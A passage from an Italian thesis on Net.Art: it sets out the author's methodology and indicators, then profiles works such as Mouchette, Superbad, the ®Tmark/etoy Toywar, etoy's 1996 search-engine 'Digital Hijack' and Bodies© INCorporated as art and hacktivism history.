software omonimo utilizzato dall’FBI. jump to pag. 157 
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PPrreemmeessssaa  mmeettooddoollooggiiccaa    

 
MMeettaatteessii  ––oo    ddii  MMee  oo  ddeellllaa  NNeett..AArrtt 

 

L’informatizzazione della società avanza incessantemente. La 

mediazione digitale rappresenta la nuova forma di investimento 

totale della realtà post-moderna: dai flussi economici e finanziari, ai 

tentativi di dominio simbolico e culturale, dalle strategie di vendita e 

marketing alternativo alle tattiche contro culturali di gruppi che 

attuano cultural jamming tra i confini labili dei protocolli di 

trasmissione delle Reti telematiche. Il mondo ha moltiplicato le sue 

connessioni, nei territori fisici, tra i soggetti collegati ad Internet, tra 

le realtà di svago e di lavoro. Le categorie di spazio e di tempo hanno 

subito una riformulazione culturale in seguito allo sviluppo di 

ambienti digitali - interattivi e sensibili - e alle possibilità del tempo 

reale (real time), che configura un accesso istantaneo all’ informazione 

disponibile.  L’essere umano si adegua ai nuovi devices tecnologici 

mutando il suo corpo e adeguando le sue capacità cognitive 

all’interconnettività diffusa. Le relazioni sociali, il senso stesso di cosa 

sia una società, piuttosto che uno Stato, un gruppo o una comunità, il 

concetto di identità etnica, di genere o religiosa, sono tutte categorie 

che mutano di fronte al proliferare di realtà simboliche e 

interconnesse portate dalle nuove tecnologie e dai nuovi media.  

Le sensibilità artistiche sono le prime a rispondere ai 
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cambiamenti sociali e strutturali delle società, in genere denunciando 

uno smarrimento o un’alienazione, molte volte facendo emergere 

immaginari non ancora condivisi ma potenzialmente ‘scatenabili’, in 

ogni caso riflettendo sui nuovi materiali e sui linguaggi possibili. Dire 

che l’avvento di Internet ha prodotto quella pletora di pratiche 

estetiche, o di matrice attivista, che confluiscono nel termine ombrello 

di Net.Art sarebbe semplicistico. La nascita della Net.Art, come 

abbiamo visto, non sarebbe stata possibile senza le esperienze delle 

avanguardie del Novecento, piuttosto che della Mail Art o della 

telecomunicazione. Forse sarebbe meglio dire che Internet ha 

rappresentato un’occasione privilegiata, da una parte, per poter 

combattere su un nuovo territorio e con le stesse armi del nemico 

battaglie anti-capitalistiche, e dall’altra per poter riflettere sulle nuove 

condizioni umane e sul senso di una vita augmented56.  

Così come molte occasioni nella vita si presentano solo per caso, 

io per caso ebbi modo di avvicinarmi alla Net.Art semplicemente 

navigando in Rete. La navigazione procede per salti repentini, e 

quando non è finalizzata al reperimento di informazioni precise, ma 

si costituisce come semplice deriva di curiosità, può portare in angoli 

sconosciuti e inaspettati. Lavoravo per un progetto europeo chiamato 

E-Loft, per la costituzione di un portale che unisse in un unico 

ambiente e in un’unica community gli studenti universitari di tutta 

                                            
56 The essential idea is to'' merge electronic systems into the physical world instead of attempting 
to replace them. Our everyday environment is an integral part of these systems; it continues to 
work as expected, but with new integrated computer functionality". Michael Century 
(http://www.music.mcgill.ca/~mcentury/Papers/ART.html )  



 

 127

 
 
 
 
 

Europa. Ero uno dei primi giovani ad essere impegnato nella New 

Economy, quella sorta di mito economico che sarebbe stato destinato 

a ridimensionarsi nel giro di un paio d’anni, vista la mancanza di 

guadagni e i conseguenti clamorosi fallimenti. Così come le strategie 

economiche e di marketing di stampo tradizionale venivano 

applicate ad una situazione che nulla aveva di tradizionale, così le 

istituzioni artistiche e i musei iniziavano ad accorgersi che la Rete era 

anche qualcosa in più di un notevole mezzo di diffusione delle opere 

d’arte riconosciute. Questo avveniva grazie alle esperienze di un 

gruppo di movimenti che amava porsi  all’insegna delle 

sperimentazioni interattive e dei progetti collaborativi. Una scena 

artistica, che aveva scelto consapevolmente l’etichetta di Net.Art, 

rappresentava la diretta conseguenza delle esperienze delle 

avanguardie storiche del novecento e di alcuni esperimenti degli 

anni’60 e ‘70. La mia prima reazione di fronte a Jodi.org è stata di 

puro spiazzamento, incomprensione e divertimento. Stringhe di 

codice, finestre che si aprivano e chiudevano autonomamente, 

incapacità di uscire da questo viaggio delirante portato da qualcuno o 

qualcosa sullo schermo del mio computer. È inutile dire che  da quel 

viaggio ancora non sono uscito,  anzi decisi che sarebbe diventato 

materia della mia tesi di laurea. Dopo Jodi, che amo definire il mio 

maestro digitale, una sorta di Duchamp del codice binario,  fu facile 

entrare in contatto con una serie di network di artisti o di gruppi che 

mettevano alla prova le mie capacità cognitive, che stimolavano in 
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maniera inedita la mia sensibilità estetica, che mettevano in 

discussione le mie stesse esperienze di navigazione su Internet. Per 

fortuna il mio lavoro mi dava la possibilità di poter restare su 

Internet per diverse ore al giorno prima di produrre articoli o 

documenti. Ero incollato per gran parte della giornata davanti al 

computer e francamente sentivo un senso di alienazione incredibile. 

Cercare opere di Net.Art era un modo per resistere alle pressioni 

lavorative, per cercare un altro tipo d’alienazione, un mettere alla 

prova la mia vita online, perché di questo si trattava. Ero talmente 

colpito da queste pratiche che riuscii a trasformare l’arte digitale e la 

Net.Art in una sezione del canale che gestivo sul portale. Diventai 

anche uno dei primi che scriveva di Net.Art. Ero legittimato a 

navigare i siti che più mi piacevano senza dover improvvisamente 

chiudere la finestra all’arrivo di un mio superiore. In quattro anni ho 

raccolto una quantità inesauribile di materiali, ho scaricato centinaia 

di documenti elettronici,  ho letto articoli su articoli, sono rimasto in 

contatto con i network di artisti attraverso diverse le mailing list. Ho 

partecipato a qualche conferenza al di fuori di contesti istituzionali,  

che tentava di far emergere il tema della Net.Art, ma ogni volta mi 

rendevo conto che ciò che veniva detto in queste sedi mi serviva 

molto meno di quanto potesse darmi lo stesso tempo impiegato a 

navigare su Internet. Ho conosciuto diversi artisti, soprattutto 

attraverso lo scambio di mail, ma ho scelto di non utilizzare nella tesi 

le mie discussioni con loro poiché mi interessa il territorio 
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comunicativo – le opere – su cui mi invitavano a cimentarmi. Sulla 

base delle mie esperienze, del mio gusto personale, e di alcuni 

indicatori, ho intrapreso un’ analisi di quelle Opere di Net.Art che 

più ho ritenuto essere significative. Ho limitato il lasso di tempo a 8 

anni, dal 1994 al 2001. Il numero di artisti che si imbattono nel 

digitale e il numero di opere oggi presenti sono incalcolabili. 

Nonostante questo molte delle prime opere sono scomparse e 

nessuno sa se faranno mai ritorno. In ogni caso i circuiti di diffusione 

aumentano mese dopo mese, così come le mailing list e i forum. Ho 

notato che la pressione innovativa e di rottura delle prime opere, che 

avevano sicuramente un impatto grafico meno accattivante, supera di 

gran lunga i siti multimediali di cui possiamo fare oggi esperienza. 

Non vorrei fare il solito discorso retorico su quei movimenti la cui 

spinta tende ad indebolirsi nel corso negli anni e le cui idee, man 

mano che vengono inglobate e inquadrate da organismi istituzionali, 

perdono vigore, ma credo che in questa sede sia più indicativo 

andare a ricercare nella “giovane Internet” le opere più importanti e 

la lezioni determinanti della Net.Art. Se dovessi oggi iniziare una 

ricerca focalizzerei la mia attenzione sull’universo dei videogames 

online, vero e proprio incrocio tra le possibilità di creazione di 

comunità di Internet e i mondi grafici tridimensionali dei 

videogiochi.  

L’idea principale che si è formata durante la navigazione 

incessante dei siti di Net.Art è confluita nella base operativa di questa 
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tesi: le sperimentazioni d’artista online come prime forme di messa in 

discussione della Rete e di riflessione sul senso delle esperienze 

online.  

Le opere che ho scelto di analizzare per la seconda parte di 

questa tesi sono state selezionate tra quelle che più rispondevano ad 

alcuni criteri e caratteristiche. 

 

Parole chiave 

 

Interfaccia 

Interattività 

Collaborazione 

Archiviazione 

Narratività ipertestuale 

Telecontrollo  Privacy 

Identità 

Spaesamento 

Hacktivism 

 

 

 

 

Gli indicatori sono stati individuati nell’ambito di una serie 

eterogenea di fattori significativi per me, al fine di rendere al meglio 

la descrizione delle caratteristiche delle opere prescelte. Il possesso, 

in maggiore o minor grado, di un indicatore non esclude la presenza 



 

 131

 
 
 
 
 

di altri contemporaneamente.  

 

L’interfaccia è la pelle dell’opera, il modo in cui si presenta 

immediatamente alla visione. In alcune opere la sua forma è di 

fondamentale importanza, in altre è irrilevante.  

Il carattere di interattività risiede nelle possibilità di scambio 

comunicativo tra gli utenti e il sistema, e nel grado di modificabilità 

del sistema stesso.  

La collaborazione sta nell’apporto contributivo di ogni utente 

all’esistenza dell’opera stessa.  

Archiviazione è la capacità di alcune opere di creare o sfruttare 

database in maniera creativa facendone emergere gli aspetti politici o 

culturali.  

La narratività ipertestuale risiede nella capacità di un’opera di 

far emergere percorsi narrativi di senso – non lineari -  attraverso la 

navigazione.  

Telecontrollo e privacy sono temi su cui alcuni artisti riflettono 

ponendo questioni come la libertà di scelta e il concetto di  sfera privata 

degli utenti all’interno dei sistemi telematici.  

Identità è un concetto attraverso il quale  alcune opere sfidano 

l’utente ad una messa in discussione di se stesso e dell’altro in termini 

di anonimato o avatar.  

Lo spaesamento e la decostruzione sono di opere che mettono 

in discussione gli strumenti informatici utilizzati o il sistema di 
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navigazione tradendo le aspettative degli utenti, applicando 

detournment digitali.  

Hacktivism è l’unione di Hacker + Activism che genera una 

serie di pratiche sovversive. Le opere che rientrano in questa 

categoria sono quelle di stampo più politico.  

 

La metodologia che ho scelto di usare per l’analisi risiede tutta 

in un’esigenza e in un limite. Una tesi di laurea sulla Net.Art, 

concepita per un’analisi delle esperienze artistiche più interessanti e 

innovative reperibili online, che si faccia portatrice entusiasta di quei 

valori di scambio e collaborazione che per primi i net.artisti hanno 

cercato di promuovere, non sarebbe dovuta essere in cartaceo, ma in 

ipertesto e soprattutto online. Purtroppo l’istituzione universitaria, e 

in particolare la facoltà dove ho trascorso diversi anni tra i più 

interessanti della mia vita – Scienze della Comunicazione a“La 

Sapienza” di Roma – non è ancora pronta per un esperimento del 

genere. Una tesi online, in forma di sito Internet ipertestuale, non 

sarebbe prima di tutto burocraticamente accettabile, ma  soprattutto 

si andrebbe a scontrare contro una Cultura Accademica ancora 

saldata e arroccata sulla forma libro come mezzo di circolazione del 

sapere privilegiato. Nel primo capitolo ho cercato di dimostrare come 

forme alternative di scrittura, basate sul multimedia, sull’ipertesto e 

soprattutto sulla messa online, potessero dare nuova linfa alla ricerca, 

in particolare all’antropologia. Non credo di essere troppo malizioso 



 

 133

 
 
 
 
 

se vedo in questa forma di attaccamento al cartaceo anche una paura 

recondita nei confronti di un sapere, che in forma digitale, è più 

difficilmente sfruttabile economicamente in termini di profitto, meno 

mercificabile.  

L’analisi delle opere è in realtà un’opera consapevole di 

montaggio tra testi di riflessione personale, citazioni o frasi 

estrapolate dalle opere stesse, immagini scelte secondo criteri diversi 

a seconda delle contingenze e  un commento tecnico che risponde 

agli indicatori individuati. L’impaginazione a finestre è sia una 

provocazione (la tesi dovrebbe essere su un computer), sia un 

tentativo di rompere la scrittura lineare, pur dovendomi adattare al 

formato cartaceo. Ho chiamato la sezione delle analisi delle opere  

Remixing Net.Art, per mettere in risalto una metodologia che prenda 

il  sampling  e il mixing come strategie creative. Alcune opere di 

Net.Art prevedono che anche il circuito della critica d’arte e del 

giornalismo specializzato entri nel network stesso a vari livelli. 

Talvolta si cerca proprio di provocare reazioni all’interno di questi 

ambiti. Io utilizzo i loro materiali, e la mia sensibilità, per remixare le 

loro opere in un formato tesi di laurea. Al più presto le schede delle 

opere saranno messe online e godranno di nuova vita grazie ai 

rimandi ipertestuali che potranno essere  attivati.  

Non nascondo una certa scelta stilistica nel mettere insieme 

testo e immagini, soprattutto nell’impaginazione, ma preferisco far 

emergere  il mio posizionamento invece di occultarmi dietro una 
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presunta neutralità da distacco scientifico. Credo che la tesi di laurea 

sia innanzitutto un testo personale con una soggettività da far venire 

fuori. In un sistema universitario come quello italiano, che tende a 

riprodurre più che a produrre,  è talvolta l’unica opera di creatività 

che uno studente ha la possibilità di fare. Questa tesi è sì una 

riflessione sulle commistioni tra Internet, Arte e Nuovi Media, ma  è 

anche e soprattutto un pretesto per parlare di me attraverso la mia 

scrittura. Ma il concetto di ‘me’, dopo anni di navigazione in Internet, 

doveva esplodere in una pletora di considerazioni contraddittorie. La 

rappresentazione principale che inizialmente volevo dare di ‘me’ a 

me stesso durante la ricerca è stata quella  dello studente alla ricerca 

di buone teorie da applicare allo studio di fenomeni poco trattati 

dalla pubblicistica universitaria. Ma di fatto ero anche un navigatore 

alla deriva verso i siti più strani che potessero capitarmi sott’occhio, 

un distratto amante dell’arte contemporanea, un lavoratore annoiato, 

un nickname (joegh9) che spesso cambia, uno scaricatore (download) 

e detentore abusivo di materiali coperti da diritti d’autore, un Avatar 

dalla faccia da bambino, il corpo da donna e gli arti da uomo in 

Bodies©INCorporated57, una serie di istruzioni per mixare la 

pornografia e la politica in RIOT58, un utente innamorato di 

Mouchette.  Posizionarsi in una ricerca come la mia voleva dire 

esplodere e riconoscere che l’”essere lì”, come si sottolinea nelle 

tradizionali ricerche etnografiche, non poteva far riferimento nè ad 
                                            
57 Vedi scheda dell’opera 
58 Vedi scheda dell’opera 
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un luogo fisico nè tantomeno ad un concezione unitaria di un 

soggetto ricercatore.  

 IO come essere disperso. L’Altro come “essere disperso”. La 

dispersione dell’Io è un’esigenza che si pone a favore di 

un’emersione temporanea di frammenti parziali del Sé le cui 

combinazioni plasmano  figure operative dalla metodologia 

eterogenea e plurale.  
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Vivo dietro allo schermo del
mio computer, che riflette il
mio volto, ed è questo
stesso volto che rappresento
quando creo il mio sito web.
Si dice che io sia un
personaggio inventato e
nessuno mi ha mai vista.
Sono simile a Mouchette del
film di Bresson a tal punto
che non so più chi delle due
si suiciderà prima di
compiere 13 anni. Manipolo
(con le mie mani) immagini
digitali (con le mie dita) 

Mouchette  
 
Molti credono che Mouchette.org sia stato costruito, e venga portato avanti, da 
una ragazzina appena 13enne. Ma sono anni ormai che continua ad avere 13 
anni e sono anni che le sue opere si fanno sempre più provocatorie.  
L’home page è una presentazione della bambina mouchette (mosca in francese) 
che ti invita nei meandri del suo progetto. Tra i sogni e gli incubi di una persona 
della sua età, all’interno di una narrazione 
stereotipata dovuta alla costruzione di un’identità 
adolescenziale, la vita e la morte si rincorrono 
provocando smarrimento più di quanto non 
suscitino tenerezza. Qual è il modo migliore di 
suicidarsi a 13 anni? Gli utenti sono chiamati a 
rispondere.  
 
 
Una volta ha fatto volare un tasto-mosca sullo 
schermo, così fastidioso da spingere chiunque a 
volerlo schiacciare.  
Con estrema difficoltà il tasto poteva essere 
schiacciato e a quel punto Mouchette 
interrogativa ti chiedeva il perché, perché        
hai schiacciato il tasto senza sapere a cosa 
servisse? Sei un killer! Ma come posso scrivere 
queste cose se sono morta? A quel punto 
Mouchette raccoglieva tutte le spiegazioni degli utenti, e poi le pubblicava sul 
sito in forma di ninna-nanna ad una mosca morta.  
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Flesh&Blood59 
Alcune pagine web ritraggono il suo volto schiacciato contro lo schermo. Inter-
faccia. Le immagini diventano il punto di contatto tra la superficie di vetro dello 
schermo dell’utente e la superficie di vetro dello scanner di Mouchette.  Mani che 
spingono, lingua, orecchie e sopracciglia cercano un contatto, spingono a 
trovare questo contatto. Lo schermo è una membrana translucente.  Ho toccato 
uno schermo oppure ho toccato Mouchette??  C’è davvero questa incolmabile 
distanza tra un mondo fatto di dati e illusioni visuali e il mio mondo di sangue, 
sudore e mal di testa da troppo schermo? Il suo sito fa emergere la questione 
problematica dell’interfaccia, del confine tra l’umano e il macchinico, un confine 
che è pur sempre una pixelzone,  fluida e metamorfica.  
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 

                                            
59 http://www.mouchette.org/flesh/tong.html http://www.mouchette.org/flesh/tong.html 

 

Il sito di Mouchette non ha un altissimo livello di interattività
ipertestuale: sono poche le pagine percorribili all’interno di ogni
progetto. È previsto comunque un grado di interattività partecipativa
poiché gli utenti sono quasi sempre chiamati a dare delle risposte ad
alcune domande. Questi interventi, per lo più testuali, diventano poi
parte integrante dell’opera. I lavori sono fortemente improntati sulla
personalità di un soggetto creatore, sebbene costruito come una
finzione narrativa. Pochi nella Rete in ogni caso sembrano preoccuparsi
di chi stia effettivamente dietro Mouchette. L’anonimato o le identità
fittizie sono caratteristiche accettate come possibilità dalla comunità
degli artisti e degli utenti. 

giuseppe ganino 
wrote: 
What's in a 
name?=Giuseppe...a
nd there's 
"down"..."giu" in 
italian 
 
 
No your name... "a" 
name. But your's is 
really nice and your 
country so. 
 
*bisous* 
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Superbad 
 
 
Il ragazzo super-cattivo della web art ha un nome. Ben Benjamin, di solito lavora 
come grafico e web designer, ma trova il tempo di alimentare il suo sito, un vero 
e proprio esempio di Labirintismo grafico. Superbad nasce nel 1988, più che 
altro come un gioco, o forse come una discarica. In origine il sito era infatti 
concepito per essere uno spazio in cui Benjamin metteva i disegni o le idee, che 
non utilizzava nei suoi progetti, per le aziende per le quali lavorava. Dall’idea del 
riciclaggio è nato poi un ipertesto, che mai fino a quel momento aveva trovato 
applicazione più bizzarra e meno funzionale.. Da allora il sito non è mai rimasto 

lo stesso, a partire dall’home page i contenuti cambiano 
incessantemente giorno dopo giorno, probabilmente ora 
dopo ora. L’utente inconsapevole che vi si imbatte può 
rimanere attonito di fronte al non sense digitale che si 
trova davanti. Tra icone della Pop culture  e loghi di 
famose corporation l’unico modo di uscire dal viaggio è 
esercitando un atto violento: chiudendo il browser. Piccole 
animazioni, testi satirici, frasi provocatorie si aggiungono di 

tanto in tanto alle pagine. 
Micro narrazioni si 
aprono e si chiudono nel 
giro di pochi click. Un 
bambino, per esempio, ti 
chiede se ti piacciono 
due api. In base ai posti 
in cui si deciderà di 
cliccare il bambino 
capirà se la risposta è 
affermativa o negativa, e 
agirà di conseguenza. 
Ovviamente non c’è un 

modo di rispondere e, una volta risposto, si imbocca una strada che sarà difficile 
ripercorrere. Superbad è uscito vincitore nell’edizione del 1999 dei Webby 
Award60  nella categoria Weird (strano).  
                                            
60 http://www.webbyawards.com 
 

 

It's just a 
weird, fun, sort
of art project 

site, for lack of 
a better word 
[…]You know 
what keeps it 

fun is if 
everytime you 
come back, it's 
a completely 

different thing, 
and maybe 

sometimes the 
front door's 
confusing 

enough that 
people think 
they're at the 
wrong site. 
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L’esperienza di una fruizione non lineare è tutta in questo sito. La soggettività
del suo creatore Ben Benjamin, l’utente può decidere di mouversi soltanto con
un click. Il sito è un esercizio di stile dentro il quale smarrirsi. La deriva di
senso può coagularsi in micro-narrazioni che stanno tutte nella capacità di
inferenza di chi fruisce. Il  Detournement, di loghi e immagini conosciute,
insieme alla struttura ipertestuale sterminata, provoca spiazzamento. Ciò che
stupisce maggiormente è l’assenza di entrate o di uscite privilegiate. La
sensazione è quella di essere di fronte ad un rizoma. I collegamenti sono decisi
preventivamente dall’autore, senza che se ne possa fare una mappatura.
Alcuni di essi probabilmente non saranno mai visitati. Ogni percorso è diverso,
ogni percorso unico, e l’opera sta proprio nel percorso. Il rapporto tra l’opera e
chi la percorre si fa assolutamente intimo. Il passaggio da una riproducibilità
tecnica (Benjamin 1955) ad una producibilità elettronica è chiaro in questa
nuova forma di unicità, non già dell’opera in sé, ma del processo che la pone
in essere. L’opera non ha più un’aura, ma tante quanti sono i percorsi possibili.
E’ un’opera di webart più che di net.art: non c’è comunicazione tra utenti, né
tantomeno collaborazione, i meccanismi di fruizione stanno soltanto
nell’attivazione e nella selezione.   
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Just as the petroleum 
industry learned it had to 
listen to 
environmentalists, so e-
commerce companies 
have now learned that 
the Internet doesn't 
belong to them, and they 
can't do whatever they 
want with it (Reinhold 
Grether) 

 
®Tmark  and the Etoy war 
 
 
Il gruppo degli ®Tmark , costituitosi come società vera e propria, finanzia progetti 
volti al sabotaggio di grosse corporation. Gli investitori rimangono in questo 

modo nell’anonimato evitando responsabilità legali. Il 
circo mediatico è un’arena da utilizzare, non da 
distruggere, per far emergere alcune attività - prepotenti 
nel migliore dei casi - di società commerciali volte al 
profitto ad ogni costo. Lo scopo di  ®Tmark (si pronuncia 
Art-Mark) è creare un’eco mediatica per la sovversione, 
contro lo sfruttamento e il profitto. Tra le azioni più 
famose si ricorda  il BLO (Barbie Liberation 
Organization), attraverso il quale il gruppo riuscì a 
modificare e a far vendere alcune Barbie parlanti, 
facendo loro pronunciare frasi ‘alternative’. Famosa 
anche la copia del sito di George W.Bush, nel quale ai 
testi ufficiali erano stati sostituiti commenti taglienti sulle 
commistioni tra politica e interessi di mercato.  
 
L’azione di protesta più 

eclatante è stata sicuramente la TOYWAR, guerra dei 
giocattoli. In cui si sono fronteggiate la etoy, gruppo 
svizzero di attivisti sulla Rete, e eToys, fiorente 
multinazionale impegnata nel commercio elettronico 
di giocattoli. La diatriba si scatena a causa del sito 
internet del gruppo di artisti, troppo simile al nome 
della corporation: l’unica differenza tra i due una 
piccola “S”. eToys raggiunge subito le vie legali per 
togliere ad etoy il dominio che aveva legittimamente 
acquistato. Nel giro di un mese la corte di Los 
Angeles intima etoy di chiudere il sito. Aiutati da 
®Tmark, che istituisce un fondo, gli etoy chiamano in causa tutti gli utenti 
volenterosi al fine di combattere una guerra simbolica e far crollare l’immagine 
dell’azienda nemica proprio grazie agli strumenti di Internet. Sono circa duemila i 
siti che appoggiano l’azione di protesta. Migliaia di email vengono mandate ai 
dipendenti della multinazionale con il consiglio di licenziarsi61, diversi net-strike62 
bloccano il sito e la piattaforma di commercio elettronico. Gli azionisti vengono 
contattati via mail o sui forum al fine di distoglierli dall’investire capitali su 
un’azienda che non si fa scrupoli ad utilizzare misure censorie, forte di un potere 

                                            
61 La lista di coloro i quali si sono licenziati è reperibile all’indirizzo 
http://www.rtmark.com/etoysquit.html (u.a. 30/05/2003) 
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economico maggiore rispetto ad uno sparuto gruppo di artisti. La Borsa inizia ad 
innervosirsi.  
Tutte le risorse potenziali di Internet, con la forza congiunta degli internauti, 
riescono a far salire il prezzo che la multinazionale è disposta a pagare purchè 
gli artisti smettano le loro azioni di protesta. Alla fine c’è un solo vincitore e un 
solo sconfitto. La grande multinazionale pagherà le spese legali e presenterà 
scuse formali alla volta del gruppo di artisti. 

 
 
  
 
 
 
 
 
 
 
 
                                                                                                                                  
62 Un sito viene colpito attraverso la simultanea connessione di un numero di utenti tale da far 
bloccare il server.  

 

La prima campagna in cui gli internauti uniti hanno
costretto  una multinazionale americana alla lotta
simbolica su Internet, dimostrando che sul nuovo
territorio di conflitto i rapporti di potere non si basano
sugli stessi meccanismi. I processi di dominio e di
controllo passano soprattutto attraverso la
costruzione mediatica del consenso è tempo di
portare la contestazione direttamente nel dominio
della comunicazione (Critical Art Ensemble). Azioni
come questa, oltre a dimostrare le capacità
innovative della Rete come luogo privilegiato per le
nuove azioni di protesta ‘dal basso ’, si configurano
nel filone dell’Hacktivism, unione di etica Hacker +
Attivismo. Il diritto all’informazione equivale al diritto
alla deformazione.  
La campagna coinvolge gli utenti in un alto grado di
interattività collaborativa: è infatti l’unione delle
strategie degli utenti a realizzare lo scopo finale.
Tutte le strategie sovversive si incanalano in una
narrazione in cui si costruisce dal nulla, su basi
ironiche, una guerriglia semiologica tra due
contendenti. Si sfida un ‘attore’a combattere con
armi che pensava di saper usare e su di un territorio
in cui non valgono le stesse regole del mondo fisico.
Internet come campo di battaglia e strumento di
battaglia.   
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Digital Hijack 
 

Il 1996 è l’anno del primo dirottamento 
– o sequestro -  digitale su Internet con 
mezzi assolutamente legali. A metterlo 
in pratica una banda di Hackers 
distribuiti in tutta Europa che passa 

sotto il nome di etoy. Migliaia di utenti della Rete sono caduti in trappola dal 31 
marzo 1996 fino a quattro mesi dopo, ma le conseguenze sono visibili ancora 
oggi. Oltre ai navigatori un po’ naif degli anni novanta, a cadere nel trabocchetto 
sono stati i maggiori motori di ricerca, 
soprattutto Altavista. Effettuare una 
semplice ricerca (sex, heaven, love) 
digitando parole semplici poteva far finire 
l’utente direttamente sul sito di etoy nel 
quale compariva una schermata con su 
scritto “Questo è un rapimento digitale”.  
Come con ogni rapimento che si rispetti il gruppo richiedeva un riscatto. Si 
domandava la liberazione di  Kevin Mitnick, uno degli hacker più famosi di tutti i 
tempi, arrestato dall’ FBI un anno prima. Ovviamente la richiesta della 
liberazione di Mitnick era soltanto un pretesto per perfezionare la fiction 
narrazione-sequestro.  Un’operazione come questa non ha violato nessuna 
norma legale, anzi sono stati utilizzati gli stessi meccanismi che regolano il 
funzionamento di un motore di ricerca. Sono state considerate duemila parole-
chiave, le più ricercate su Internet, e create descrizioni di finti siti su cui far 
cliccare gli utenti.  
A quel punto si finiva su di un sito blindato da cui era impossibile uscire, salvo 

percorrere fino in 
fondo le pagine, che 
etoy aveva 
predisposto, e 
leggere della 
richiesta di 
liberazione di Mitnick.  
 
Uno dei primi 
esperimenti a 

mostrare i limiti della Rete e dei processi che portano Internet ad essere 
navigata. Il motore di ricerca è nella maggior parte un punto di partenza, il porto 
da cui si salpa.  
Così come da un porto di mare si prendono navi le cui rotte sono 
commercialmente o turisticamente prefissate, allo stesso modo  in un motore di 
ricerca sono i link forniti, nella maggior parte dei casi nelle prime pagine, a 
determinare il corso della navigazione o l’esito di una ricerca. Non c’è molta 
differenza a volte tra ‘indirizzamento ‘  - legale - e ‘dirottamento ‘ – pratica 

 

The popstar is the programmer is 
the architect is the designer is the 
manager is the system is etoy 

 

'action entertainment': a mass show that hits 
people individually by making them lose 
control of their actions while innocently (too 
innocently....) navigating the net and 
searching for (not really innocent) topics 
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Hacker. L’ hijacking non si limita ad intervenire sui contenuti 
ma agisce direttamente sui navigatori. In pratica l'unico virus 
che etoy ha messo in circolo è di tipo psicologico piuttosto 
che informatico. Si chiama dubbio: dubbio sui veri assetti 
della rete e sul controllo del flusso di informazione. Un virus 
che non cancella il contenuto dell' hard-disk come quelli dei 
cracker "vecchia maniera", ma mina le tue certezze.63 
Nel 1996 il motore di ricerca era uno dei maggiori strumenti 
per gerarchizzare informazioni, controllare e regolare i 
comportamenti degli utenti. Gli artisti si battevano affinchè la 
Rete non diventasse semplicemente un grande archivio in cui 
l’informazione privilegiata fosse quella fornita dai motori di 
ricerca, ma che diventasse quello che adesso le viene 
riconosciuto: un 
mezzo di 

comunicazione 
ibrido ed 
eterogeneo con 
forti componenti di 
tipo sociale.  

 

                                            
 
 
63 http://www.hackerart.org/glossari/h/hijack/continua.htm (u.a. 3/06/2003) 

 

THE DIGITAL HIJACK 
recipe 
- Hacker-like attitude 
- Pop culture as field 
of   action 
- Understanding 
Internet as medium 
- Mis-use brand power 
(etoy.TANKSYSTEM) 
- Legal sabotage: 
forcing the search 
engine way of 
processing information 
through intelligent 
agents 
- On the side of the 
user: the hijack alert 
and modifications on 
browser proper 
functioning 
- Common people's 
reactions  
- Reactions from 
hackers world 

Il dirottamento digitale è stata una
delle opere più innovative della
Net.Art, intanto perché
cronologicamente ha anticipato
diversi temi che verranno trattati
approfonditamente in opere
successive, come la questione del
controllo, ma soprattutto perché ha
coinvolto gli utenti in una vero e
proprio happening situazionista. È
l’inizio dell’attivismo online, si darà
spazio a quelle pratiche sovversive
degli ordini digitali che  si vogliono
costituire dall’alto. Lo spiazzamento
è massimo. Il livello d’interattività
dell’opera è ovviamente minimo,
essendo simulato un rapimento c’è
ben poco che gli utenti possano
fare. La costruzione di una grande
eco mediatica è parte del senso
dell’opera: si cerca di minare dalle
fondamenta la sicurezza della
navigazione attraverso i suoi
strumenti più saldi, i motori di
ricerca. Se questi diventano
inaffidabili allora diventa inaffidabile
anche l’atto di reperire
informazioni.  
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bodies© INCorporated  
 
E’ un progetto concepito alla University della California di Santa Barbara e creato 
da Victoria Vesna insieme ad un gruppo di collaboratori. Vincitore di numerosi 
awards ha ricevuto anche il premio “Oscar Signorini” dedicato all’arte remota nel 
1998, prima manifestazione italiana dedicata all’ arte online. Il sito è stato 
costruito per permettere agli utenti di creare un corpo – un avatar -  in 3 
dimensioni decidendo tra una serie di trame grafiche, suoni e dimensioni a 
seconda delle diverse parti del corpo. Il corpo ha ovviamente un nome, un’età 
(anche di numerose cifre), un’inclinazione sessuale. Si possono ordinare e 
scambiare nuove parti del corpo partecipando alla community attivamente e 
incrementando il proprio status. In modo provocatorio, e come in molti siti 
internet, i partecipanti sono chiamati ad accettare alcune regole di copyright,  

oltre che a rinunciare 
ad ogni tentativo legale 
nel caso in cui il corpo 
creato non corrisponda 
alle aspettative. L’ironia 
è presente dappertutto, 
dalla retorica sulle 
pubblicità alla 
costruzione dell’identità 
attraverso la 
realizzazione di corpi 
ibridi. E’ proprio la 
relazione tra presenza 
fisica e corpo virtuale 
ad essere investigata 
in modo inedito.  

Lo Showplace è il luogo in cui i corpi vengono letteralmente esposti e visionati in 
3 dimensioni grazie alla tecnologia del VRML. Qui non solo possono comunicare 
via forum o via chat, ma acquisiscono ‘crediti’ proporzionalmente al numero di 
volte che il corpo viene visionato dagli altri. Le interazioni all’interno dello spazio 
virtuale sono quindi finalizzate ad una certa 
ascesa nell’ambito della Corporation. Si 
spingono in questo modo gli utenti ad 
accedere a livelli di gestione privilegiata del 
proprio corpo e ad un più profondo contatto 
con i creatori del sito, che si identificano nella 
Board of Directors ArchiTexts. È presente 
anche un Marketplace in cui poter acquistare t-
shirt, o anche citare frasi di filosofi morti che, 
se saranno approvate dalla Board, potrebbero far incrementare i crediti. I corpi 
abbandonati vengono lasciati nel Limbo per 40 giorni. Tra le altre possibilità si 
può organizzare la morte del proprio corpo, che in questo caso sarà esposto in 
un altro spazio navigabile tridimensionalmente: la Necropoli.  

 

These expressions have none of
the usual limits: men become
women; black becomes white
and white becomes brown; flesh
turns to clay, plastic, air; clay,
plastic, air are attached on one
body. Bodies need be neither
whole nor have parts that fit.  
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Bodies© INCorporated ha un concept di 
estrema complessità, così come complessi 
si rivelano essere i livelli di interpretazione. 
La mia comprensione oscilla da 
un’attenzione alla dimensione di meta-
narrazione ironica ad una sensibilità nei 
confronti del ‘serio esperimento’ sulle 
comunità online in relazione alla 
costruzione di un corpo. E’ estremamente 
interessante la forma provocatoria 
dell’opera in forma di un’azienda 

produttrice di corpi che tatua una grossa © sulla fronte e 
mette gli utenti in grado di far carriera.  
 Alcune domande alla base del progetto sono scontate. 
In che modo gli utenti interagiscono tra loro sapendo di 
avere un tipo particolare di corpo artefatto? In che modo 
